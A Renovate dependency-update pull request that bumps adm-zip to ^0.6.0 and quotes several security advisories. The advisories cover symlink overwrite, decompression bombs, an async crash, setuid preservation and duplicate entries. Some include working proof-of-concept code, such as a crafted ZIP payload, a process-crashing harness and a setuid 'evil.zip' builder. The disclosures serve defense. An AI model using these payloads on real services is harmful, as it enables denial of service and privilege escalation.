thomas/dotfiles
0
1
Fork 0
Code Issues 1 Pull requests 8 Projects Releases Packages Wiki Activity Actions

Update dependency adm-zip to ^0.6.0 [SECURITY] #5

Open
renovate wants to merge 1 commit from renovate/npm-adm-zip-vulnerability into main
pull from: renovate/npm-adm-zip-vulnerability
merge into: thomas:main
Conversation 0 Commits 1 Files changed 2 +7 -7
renovate commented 2026-10-03 04:03:42 +01:00
Collaborator
Copy link

This PR contains the following updates:

Package Change Age Confidence
adm-zip ^0.5.17 → ^0.6.0 age confidence

adm-zip extraction follows destination symlinks, allowing arbitrary file overwrite

CVE-2026-76845 / GHSA-vwc7-r8mq-g2x9

More information

Details

adm-zip 0.5.9 through 0.6.0 follows symbolic links at the extraction destination. Utils.sanitize in util/utils.js enforces containment by comparing only the string form of an archive entry name against the resolved extraction root, and Utils.writeFileTo opens the computed destination with fs.openSync(path, "w", 0o666), which resolves symbolic links and carries neither O_NOFOLLOW nor a pre-write fs.lstatSync check. When a path component at the destination already exists as a symbolic link pointing outside the extraction root, extractAllTo, extractAllToAsync and extractEntryTo write the entry contents through that link and then chmod its target, placing attacker-controlled content in a file outside the root without any traversal sequence appearing in the archive. Reaching the write requires overwrite to be enabled, because the preceding fs.existsSync check also resolves the link and otherwise declines. An attacker able to create a symbolic link inside a shared, reused or predictable extraction directory, such as a temporary directory or a continuous integration workspace, can overwrite any file the extracting process is permitted to write.

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

adm-zip: Crafted ZIP file triggers 4GB memory allocation

CVE-2026-39244 / GHSA-xcpc-8h2w-3j85

More information

Details

adm-zip before 0.5.18 is vulnerable to denial of service via a crafted ZIP file with a manipulated uncompressed size header field. In zipEntry.js line 103, Buffer.alloc(_centralHeader.size) allocates memory based on the declared uncompressed size from the ZIP central directory header without validating it against the actual compressed data size or imposing any upper bound. The size value is read directly from the binary header at entryHeader.js line 266 with no bounds check. An attacker can craft a ~120-byte ZIP file that declares ~4GB uncompressed size, causing a memory allocation amplification ratio of over 33 million to 1. The allocation occurs before CRC validation, so the malicious payload cannot be rejected early. All extraction and read methods are affected: readFile(), readAsText(), extractEntryTo(), extractAllTo(), extractAllToAsync(), test(), and entry.getData(). Any application accepting untrusted ZIP files via adm-zip is vulnerable to immediate process crash.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)

CVE-2026-77301 / GHSA-7q85-xj36-vmfc

More information

Details

Summary

adm-zip allocates an entry's output buffer from the declared uncompressed size (central-directory size field) before validating it against the actual data. A tiny crafted ZIP that declares a huge uncompressed size forces a multi-gigabyte allocation from a few bytes.

Impact

On adm-zip 0.5.17 (latest), Node 24, a 105-byte ZIP with one stored entry declaring size = 1,774,399,200 makes new AdmZip(buf).getEntries()[0].getData() commit ~1.8 GB of resident memory in ~4.4 s before throwing Error: ADM-ZIP: CRC32 checksum failed, roughly 16 million times the input size. Because the buffer is committed before any validation, on a memory-constrained host (containers, serverless, small VMs) the allocation OOM-kills the process before the CRC check (uncatchable), and concurrent requests can exhaust memory even on larger hosts. Any service that reads entries from untrusted ZIPs is exposed to a remote denial of service.

Steps to reproduce

Attachments are not supported in the advisory form, so the 105-byte PoC (sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386) is inlined as base64 in this self-contained reproducer:

const AdmZip = require('adm-zip');
// 105-byte crafted ZIP, base64-inlined
// sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386
const b64 = "UEsDBBQAAAAAAAAAAAAAAAAABQAAAAUAAAABAAAAYWhlbGxvUEsBAhQAFAAAAAAAAAAAAAAAAAAFAAAA4C7DaQEAAAAAAAAAAAAAAAAAAAAAAGFQSwUGAAAAAAEAAQAvAAAAJAAAAAAA";
const buf = Buffer.from(b64, "base64");          // 105 bytes
const zip = new AdmZip(buf);
zip.getEntries()[0].getData();   // commits ~1.8 GB, then throws "ADM-ZIP: CRC32 checksum failed"

The single entry declares uncompressed size = 1,774,399,200 with a compressed size of 5. getData() allocates the full declared size before the CRC check runs, so the memory is committed regardless of the (tiny) actual payload.

Root cause

zipEntry.js does Buffer.alloc(<declared uncompressed size>) before checking the declared size against the compressed size / available bytes.

Suggested fix

Validate the declared uncompressed size against the compressed size and a configurable maximum before allocating (yauzl, for example, requires the caller to bound this); reject or stream when the declared size is implausible relative to the input. Happy to send a patch.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)

GHSA-8238-w5pm-2374

More information

Details

Summary

Denial of Service in adm-zip's async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file.

Details

Affected package: adm-zip
Affected versions: at least 0.6.0 (current latest); likely all versions containing the current inflateAsync implementation in methods/inflater.js
Patched version: 0.6.1

Root Cause

methods/inflater.js:12-32 (inflateAsync) creates a zlib.createInflateRaw(option) stream and feeds it attacker-controlled compressed bytes via tmp.end(inbuf), but never registers an "error" listener on the stream:

inflateAsync: function (/*Function*/ callback) {
    var tmp = zlib.createInflateRaw(option),
        parts = [],
        total = 0;
    tmp.on("data", function (data) { parts.push(data); total += data.length; });
    tmp.on("end", function () { /* build buf, callback(buf) */ });
    tmp.end(inbuf);   // no tmp.on("error", ...) registered anywhere
}

Per Node.js EventEmitter/stream semantics, an "error" event emitted with zero listeners is rethrown as an uncaught exception on a later tick, originating from the zlib C++ binding. This cannot be caught by a try/catch wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the try/catch covers.

This code path is reached from every public async API that decompresses entry data: readFileAsync, readAsTextAsync, extractAllToAsync, and ZipEntry.getDataAsync (zipEntry.js:51, :97-120, :309-315; adm-zip.js:157-164, :192-210, :893).

This library recently patched CVE-2026-39244 (GHSA-xcpc-8h2w-3j85), an unbounded Buffer.alloc() on the synchronous decompression path. That fix added a maxOutputLength option to zlib.inflateRawSync/zlib.createInflateRaw, and the sync path's resulting throw is naturally catchable. The async path shares the same maxOutputLength option (methods/inflater.js:5) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers:

  1. A DEFLATE entry with corrupted/malformed compressed bytes (Z_DATA_ERROR) — no special crafting needed.
  2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the maxOutputLength guard — but on the stream this surfaces via the unhandled "error" event rather than a catchable throw.
Attack Vector
  1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid — only the compressed payload bytes need to be malformed.
  2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip's async APIs, e.g.: 
    const zip = new AdmZip(uploadedBuffer);
zip.readFileAsync(zip.getEntries()[0], (data) => { /* ... */ });
  3. inflateAsync begins decompressing; zlib emits "error" on Z_DATA_ERROR.
  4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process — killing all in-flight requests for every other user/tenant on that process, not just the attacker's own request.
Impact

Any Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip's async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error.

Proof of Concept

Attached: poc_async_dos.py. Summary of what it does:

  1. Builds a fully valid ZIP using adm-zip's own writer (new AdmZip(); zip.addFile(...); zip.toBuffer()), guaranteeing correct headers/CRC/offsets.
  2. Locates the local file header's compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with 0xFF, corrupting only the DEFLATE payload.
  3. Parses the corrupted archive with a fresh new AdmZip(badBuf) (succeeds — headers are intact) and calls entries[0].getDataAsync(callback), wrapped in try/catch, in an isolated child process.
  4. Captures the child's exit code and stderr.

Verified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node zlib.createInflateRaw() fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output:

[*] Child process exit code: 1
----- Node child process stderr (crash evidence) -----
node:events:497
      throw er; // Unhandled 'error' event
      ^
Error: invalid distance too far back
    at genericNodeError (node:internal/errors:983:15)
    at Zlib.zlibOnError [as onerror] (node:zlib:191:17)
Emitted 'error' event on InflateRaw instance at:
    at emitErrorNT (node:internal/streams/destroy:170:8)
    at emitErrorCloseNT (node:internal/streams/destroy:129:3)
    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {
  errno: -3,
  code: 'Z_DATA_ERROR'
}
Node.js v22.22.1
--------------------------------------
[*] Caught by harness's own try/catch (would mean NOT vulnerable): False
[*] getDataAsync callback ever fired (would mean NOT vulnerable): False
[*] Child process exited non-zero (crashed): True
[+] VULNERABILITY CONFIRMED

Reproduction: python3 poc_async_dos.py (requires python3 and Node.js; tested on Node.js v22.22.1).

Suggested Fix

Register an "error" listener on the InflateRaw stream in methods/inflater.js's inflateAsync, and route it to the existing callback, e.g.:

inflateAsync: function (/*Function*/ callback) {
    var tmp = zlib.createInflateRaw(option),
        parts = [],
        total = 0;
    tmp.on("data", function (data) { parts.push(data); total += data.length; });
    tmp.on("error", function (err) {
        // surface as a normal async error instead of crashing the process
        callback(Buffer.alloc(0), err);   // or however this codebase's async
                                            // error convention is expressed
    });
    tmp.on("end", function () { /* existing behavior */ });
    tmp.end(inbuf);
}

The exact callback/error-propagation convention should match the rest of the codebase's async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an err-first convention, at the maintainer's discretion). The key fix is simply: never leave a Node.js stream without an "error" listener when it can plausibly error on attacker-controlled input.

Full PoC Source (poc_async_dos.py)

#!/usr/bin/env python3
"""
Tested version: adm-zip 0.6.0
Tested on: Linux, Node.js v22.22.1

Description:
  methods/inflater.js:12-32 (inflateAsync) creates a
  zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever
  registering an "error" listener on the stream. Per Node.js EventEmitter
  semantics, an "error" event emitted with zero listeners is rethrown as an
  uncaught exception -- this happens on a later tick from the zlib C++
  binding, so it CANNOT be caught by a try/catch wrapped around the calling
  code. Any code that feeds an untrusted zip file into one of adm-zip's
  public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync,
  ZipEntry.getDataAsync) crashes the entire host Node.js process the moment
  it encounters a DEFLATE entry with corrupted/malformed compressed bytes.
  The synchronous decompression path (getData()) was hardened for
  CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable);
  this async streaming path was missed by that fix and remains an
  unauthenticated, single-request availability bug.

Impact:
  Any service that accepts untrusted zip uploads and reads/extracts them
  via adm-zip's async API (the officially documented, recommended usage
  for non-blocking servers) can be crashed by a single malicious zip file,
  with no authentication and no special privileges required.

Reproduction:
  1. Install: this PoC runs directly against the adm-zip source tree this
     script lives alongside (no `npm install` needed -- it requires the
     local checkout via its package.json "main" entry, adm-zip.js).
     Requires: python3, node (tested with Node.js v22.22.1).
  2. Run: python3 poc_async_dos.py
  3. Observe: the spawned Node child process exits non-zero with an
     "Unhandled 'error' event" / Z_DATA_ERROR stack trace on stderr,
     originating from methods/inflater.js's zlib.createInflateRaw stream.
     Neither the harness's try/catch nor the getDataAsync callback ever
     fires -- proving the crash is unrecoverable from calling code.

How the malicious zip is built (see the embedded Node harness in
build_harness_script() below):
  1. Use adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)
     to produce a fully valid, well-formed zip archive with one DEFLATE
     entry. This guarantees every header/CRC/offset field is structurally
     correct.
  2. Locate the local file header at offset 0 and compute the compressed
     data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields.
  3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE
     payload while leaving every size/offset/CRC field in the local header,
     central directory, and EOCD record byte-for-byte unchanged, so
     adm-zip's own parser still locates and slices exactly the right
     region and reaches the vulnerable inflateAsync() call.
"""

import os
import subprocess
import sys
import tempfile

##### ============================================================

##### Configuration
##### ============================================================
PACKAGE_NAME = "adm-zip"
TARGET_VERSION = "0.6.0"

##### The adm-zip source tree this PoC lives alongside (Hunter's checkout).
REPO_DIR = os.path.dirname(os.path.abspath(__file__))
NODE_BIN = "node"
SUBPROCESS_TIMEOUT_SECONDS = 20

##### ============================================================

##### Node.js harness (the genuine trigger -- adm-zip is a JS library, so the
##### actual exploit code must run under Node; this Python script builds it,

##### runs it in an isolated child process, and interprets the result).
##### ============================================================
def build_harness_script(repo_dir: str) -> str:
    return r"""
"use strict";
const AdmZip = require(%(repo_dir)r);

console.log("HARNESS_START");

// Step 1: build a legitimate zip in memory using adm-zip's OWN writer, with
// one DEFLATE-compressed entry. Repetitive text compresses well and
// guarantees the DEFLATED method is chosen (not STORED).
const zip = new AdmZip();
const payload = Buffer.from(
    "The quick brown fox jumps over the lazy dog. ".repeat(200),
    "utf8"
);
zip.addFile("payload.txt", payload, "");
const goodBuf = zip.toBuffer();
console.log("BUILT_GOOD_ZIP bytes=" + goodBuf.length);

// Step 2: locate the local file header (offset 0 in this single-entry
// archive) and corrupt ONLY the compressed-data bytes in place, leaving
// every size/offset/CRC field in the local header, central directory, and
// EOCD record untouched -- so adm-zip's own parser still finds and slices
// exactly the right region and reaches the vulnerable inflateAsync() path.
const LOCSIG = 0x04034b50;
if (goodBuf.readUInt32LE(0) !== LOCSIG) {
    throw new Error("unexpected local header signature -- adm-zip writer output changed");
}
const compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ
const fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM
const extraLen = goodBuf.readUInt16LE(28); // LOCEXT
const dataStart = 30 + fileNameLen + extraLen;
const dataEnd = dataStart + compressedSize;
console.log(
    "LOCAL_HEADER compressedSize=" + compressedSize +
    " dataStart=" + dataStart + " dataEnd=" + dataEnd
);

const badBuf = Buffer.from(goodBuf); // copy, do not mutate original
for (let i = dataStart; i < dataEnd; i++) {
    badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream
}
console.log("CORRUPTED_COMPRESSED_BYTES count=" + (dataEnd - dataStart));

// Step 3: parse the corrupted archive (this succeeds -- headers are intact)
// and hit the vulnerable async decompression path.
const zip2 = new AdmZip(badBuf);
const entries = zip2.getEntries();
console.log(
    "PARSED_CORRUPT_ZIP entries=" + entries.length +
    " name=" + entries[0].entryName
);

try {
    // This is the public, documented API a real server would call on an
    // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync
    // all funnel into the same decompress(true, ...) -> inflateAsync path).
    entries[0].getDataAsync(function (data, err) {
        // If this ever fires, the library handled the error gracefully
        // (no crash) -- meaning the vulnerability is NOT present / already
        // fixed in this build.
        console.log(
            "CALLBACK_FIRED data_len=" + (data ? data.length : 0) +
            " err=" + err
        );
    });
    console.log("SYNC_CALL_RETURNED_NO_THROW");
} catch (e) {
    // If this ever fires, the bug is NOT present -- the error would be
    // synchronously catchable by ordinary calling code.
    console.log("CAUGHT_BY_TRY_CATCH: " + e.message);
}

console.log("HARNESS_END_OF_SYNCHRONOUS_CODE");
// Deliberately NOT registering process.on("uncaughtException", ...) here --
// doing so would mask the exact bug under test. A real, unmodified server
// process has no reason to install a blanket uncaughtException handler
// either; that is precisely what makes this an unrecoverable process crash.
""" % {"repo_dir": repo_dir}

##### ============================================================

##### Step 1: Setup
##### ============================================================
def setup():
    """Verify prerequisites and write out the Node.js harness script."""
    print(f"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}")
    print(f"[*] Target adm-zip source tree: {REPO_DIR}")

    main_entry = os.path.join(REPO_DIR, "adm-zip.js")
    if not os.path.isfile(main_entry):
        print(f"[-] Cannot find adm-zip.js at {main_entry}")
        sys.exit(1)

    try:
        node_version = subprocess.run(
            [NODE_BIN, "--version"], capture_output=True, text=True, timeout=10
        )
        print(f"[*] Found Node.js: {node_version.stdout.strip()}")
    except FileNotFoundError:
        print("[-] node binary not found on PATH -- required to run this PoC")
        sys.exit(1)

    handle, harness_path = tempfile.mkstemp(prefix="admzip_async_dos_", suffix=".js")
    with os.fdopen(handle, "w") as f:
        f.write(build_harness_script(REPO_DIR))
    print(f"[*] Wrote Node harness to {harness_path}")
    return harness_path

##### ============================================================

##### Step 2: Trigger the vulnerability
##### ============================================================
def trigger(harness_path):
    """Run the Node harness (in its own isolated child process) that builds
    the malicious zip and feeds it into adm-zip's vulnerable async API."""
    print("[*] Triggering vulnerability (spawning isolated Node subprocess)...")
    try:
        proc = subprocess.run(
            [NODE_BIN, harness_path],
            capture_output=True,
            text=True,
            timeout=SUBPROCESS_TIMEOUT_SECONDS,
            cwd=REPO_DIR,
        )
        return {
            "timed_out": False,
            "returncode": proc.returncode,
            "stdout": proc.stdout,
            "stderr": proc.stderr,
        }
    except subprocess.TimeoutExpired as e:
        return {
            "timed_out": True,
            "returncode": None,
            "stdout": (e.stdout or b"").decode(errors="replace") if isinstance(e.stdout, bytes) else (e.stdout or ""),
            "stderr": (e.stderr or b"").decode(errors="replace") if isinstance(e.stderr, bytes) else (e.stderr or ""),
        }

##### ============================================================

##### Step 3: Verify impact
##### ============================================================
def verify(result):
    """Check that the child process crashed with an unhandled 'error' event
    originating from the async inflater, and that neither the try/catch nor
    the getDataAsync callback in the harness ever ran."""
    print("[*] Verifying impact...")
    print(f"[*] Child process exit code: {result['returncode']}")
    print()
    print("----- Node child process stdout -----")
    print(result["stdout"].rstrip())
    print("----- Node child process stderr (crash evidence) -----")
    print(result["stderr"].rstrip())
    print("--------------------------------------")
    print()

    if result["timed_out"]:
        print("[-] Harness timed out instead of crashing -- inconclusive")
        return False

    stdout = result["stdout"]
    stderr = result["stderr"]
    returncode = result["returncode"]

    reached_vuln_call = "SYNC_CALL_RETURNED_NO_THROW" in stdout
    was_caught = "CAUGHT_BY_TRY_CATCH" in stdout
    callback_fired = "CALLBACK_FIRED" in stdout
    process_crashed = returncode is not None and returncode != 0
    unhandled_error_evidence = (
        "Unhandled 'error' event" in stderr
        or "ERR_UNHANDLED_ERROR" in stderr
        or "Emitted 'error' event on InflateRaw instance" in stderr
    )

    print(f"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}")
    print(f"[*] Caught by harness's own try/catch (would mean NOT vulnerable): {was_caught}")
    print(f"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}")
    print(f"[*] Child process exited non-zero (crashed): {process_crashed}")
    print(f"[*] stderr shows an unhandled 'error' event from the InflateRaw stream: {unhandled_error_evidence}")

    success = (
        reached_vuln_call
        and not was_caught
        and not callback_fired
        and process_crashed
        and unhandled_error_evidence
    )
    return success

##### ============================================================

##### Main
##### ============================================================
if __name__ == "__main__":
    print(f"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===")
    print(f"[*] Target version: {TARGET_VERSION}")
    print()

    harness_path = setup()
    try:
        result = trigger(harness_path)
        success = verify(result)
    finally:
        try:
            os.remove(harness_path)
            print(f"[*] Cleaned up temp harness file: {harness_path}")
        except OSError:
            pass

    print()
    if success:
        print("[+] VULNERABILITY CONFIRMED")
        print(
            "[+] Impact: a single untrusted zip file with a corrupted DEFLATE "
            "entry crashes the entire Node.js process when read via any "
            "adm-zip *Async API (readFileAsync / readAsTextAsync / "
            "extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, "
            "single-request, unrecoverable process-level Denial of Service."
        )
    else:
        print("[-] Vulnerability NOT confirmed")

    sys.exit(0 if success else 1)

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path

GHSA-c6fg-446q-cg94

More information

Details

Summary

adm-zip enforces a maxOutputLength guard against decompression bombs on its synchronous getData() path, but the equivalent asynchronous getDataAsync() path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry's declared size. An application that checks an entry's declared size before deciding to process it, then reads the entry via getDataAsync() (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.

Details
  • methods/inflater.js:3-10 passes {maxOutputLength: expectedLength} to inflateRawSync, which Node enforces.
  • methods/inflater.js:12-31 passes the same option to createInflateRaw but never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.
PoC
const AdmZip = require('adm-zip');
const zip = new AdmZip();
zip.addFile('p', Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB
const raw = Buffer.from(zip.toBuffer());
// patch the local + central declared uncompressed size to 1 byte
raw.writeUInt32LE(1, localHeaderSizeOffset);
raw.writeUInt32LE(1, centralHeaderSizeOffset);
const entry = new AdmZip(raw).getEntry('p');

entry.getData();
// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes

entry.getDataAsync((data, error) => { ... });
// returns the full 67,108,864-byte buffer, error is undefined
Impact

An application that validates a declared size before reading an entry, then uses the async API, gets no protection against a high-ratio DEFLATE payload. Repeated or larger requests could contribute to memory exhaustion.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation

CVE-2026-102282 / GHSA-j5f4-cc29-5x44

More information

Details

Summary

adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.

Details

The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:

// headers/entryHeader.js:187
get fileAttr() {
    return (_attr || 0) >> 16 & 0xfff;
}

0xfff is 0o7777 — it preserves setuid (0o4000), setgid (0o2000) and the sticky bit (0o1000) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.

When the flag is on, that value goes straight to the write:

// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);

// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);

No & 0o777, no stripping of 0o7000. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (adm-zip.js:855), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.

PoC

Tested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.

  1. Craft a zip with a setuid binary using standard tooling (this is the
    realistic attacker path — no adm-zip APIs involved in creating it):
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr(zi, '#!/bin/sh\nid\n')
"
  1. Extract with the flag enabled:
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);

const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755   (setuid bit set — the file is root-owned if the extractor runs as root)
  1. Control — same zip, default extraction (keepOriginalPermission=false):
    mode comes out 0666, no setuid. The flag is the enabler.

Alternative supply path, if the zip is built in-process with adm-zip's own API:

const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755
Impact

Privilege escalation.
The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.

Realistic chain:

  1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).
  2. A pipeline or service extracts it as root with keepOriginalPermission=true. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.
  3. The root-owned setuid file leaves the build, typically preserved by cp -a/rsync mode-bit propagation, into the runtime environment.
  4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.

Who is impacted: applications and pipelines that extract untrusted archives with keepOriginalPermission=true while running as root.
Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file.
Severity: Medium

Suggested fix, one line in the getter:

get fileAttr() {
    return (_attr >> 16) & 0o777;
}

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

adm-zip: Duplicate ZIP entry names: getEntry() and extractAllTo() resolve to different content

GHSA-p634-w6r4-rjp2

More information

Details

Summary

A ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. getEntry(name) and extractAllTo() walk these two different internal structures, so they can each resolve a duplicate name to a different entry. An application that validates a named entry's contents via getEntry() before trusting an archive, then extracts the whole archive, can end up approving one file's content while a different file's bytes are what actually land on disk under that name.

Details
  • zipFile.js:58-83 retains both entries in entryList but overwrites entryTable[name] with only the last one written.
  • adm-zip.js:83-95,658-663 uses entryTable for getEntry() lookups — returns the last duplicate.
  • adm-zip.js:769-914 iterates entryList for extraction — writes the first duplicate (sync, default overwrite policy).
PoC
const AdmZip = require('adm-zip');
const z = new AdmZip({ noSort: true });
z.addFile('a.txt', Buffer.from('FIRST'));
z.addFile('b.txt', Buffer.from('SECOND'));
const raw = Buffer.from(z.toBuffer());
// rename the a.txt entry to b.txt directly in the raw bytes
for (let at = raw.indexOf('a.txt'); at >= 0; at = raw.indexOf('a.txt', at + 5)) {
  raw.write('b.txt', at);
}
const parsed = new AdmZip(raw, { noSort: true });
const validated = parsed.getEntry('b.txt').getData().toString();
parsed.extractAllTo(outDir, false);
// validated === "SECOND", but the file written to disk === "FIRST"

Reproduced on the pinned commit (2b4d84087d45344643e0183756e19191d52815cc)

Impact

An application that checks a named entry's content before trusting an untrusted ZIP, then extracts it, can be made to approve different bytes than what actually gets written to disk — the classic check/use split that this kind of validate-then-extract pattern relies on.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

adm-zip: Decompression-bomb protection (fix for CVE-2026-39244) can be bypassed by declaring uncompressed size as 0

CVE-2026-92000 / GHSA-rcw4-f5rp-g42v

More information

Details

Affected package: adm-zip (npm)
Affected version: 0.6.0

Summary

The fix shipped for CVE-2026-39244 (methods/inflater.js) caps zlib's decompression output via maxOutputLength: expectedLength, where expectedLength is read directly from the ZIP entry's attacker-controlled "uncompressed size" header field (CENLEN/LOCLEN). This cap is only applied when expectedLength > 0:

const option = version >= 15 && expectedLength > 0 ? { maxOutputLength: expectedLength } : {};
return zlib.inflateRawSync(inbuf, option);

If an attacker sets the declared uncompressed-size field to exactly 0, this condition is false, option becomes {}, and no output cap is passed to zlib at all. Node then falls back to zlib's own internal default limit (several GB), so a small, highly-compressible payload can still be decompressed to a very large size in memory -- the same class of resource-exhaustion issue the original CVE addressed, just triggered differently.

Steps to Reproduce
  1. Build a ZIP archive containing one DEFLATE-compressed entry whose real content is highly redundant (e.g. several MB of a repeated byte, achieving close to the ~1032:1 theoretical raw-DEFLATE compression ratio).
  2. Patch the entry's declared uncompressed-size fields (both the local file header copy and the central directory copy, 4-byte little-endian values) to 0. The compressed bytes and CRC32 are left untouched -- CRC validation still passes because CRC is computed over the real decompressed output, not the declared size.
  3. Load the archive with new AdmZip(buffer) and call .getEntries()[0].getData() (or readFile/readAsText/extractAllTo/etc. -- all share the same code path).
  4. Observe: decompression succeeds and returns the full-size buffer with no size restriction applied, whereas the same real data with an honest (but undersized) declared value correctly throws Cannot create a Buffer larger than N bytes.
Proof of Concept

Attached script demonstrates a controlled A/B comparison using the identical real payload in both cases -- only the declared-size header field differs:

  • Control (declared size = 1024 bytes, deliberately smaller than the true 4MB output): correctly throws, proving the cap mechanism works when expectedLength > 0.
  • Bypass (declared size = 0, identical real payload): succeeds and returns the full 4,194,304-byte buffer with zero restriction.

Verified reproducible across 3 independent runs.

Impact

Any application that calls adm-zip's read/extract methods on an untrusted ZIP file (upload handlers, CI artifact extraction, email attachment scanning, etc.) can be made to allocate an amount of memory bounded only by zlib's own internal default rather than any limit the application or adm-zip intends -- a small (tens-of-MB) upload can trigger multi-GB memory consumption, risking process crash/OOM.

Suggested Fix

Apply maxOutputLength unconditionally (e.g. defaulting to a sane absolute ceiling, or always passing the declared size regardless of whether it's 0), and/or add an independent compression-ratio check that doesn't rely solely on the attacker-supplied size field.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

❗ Important

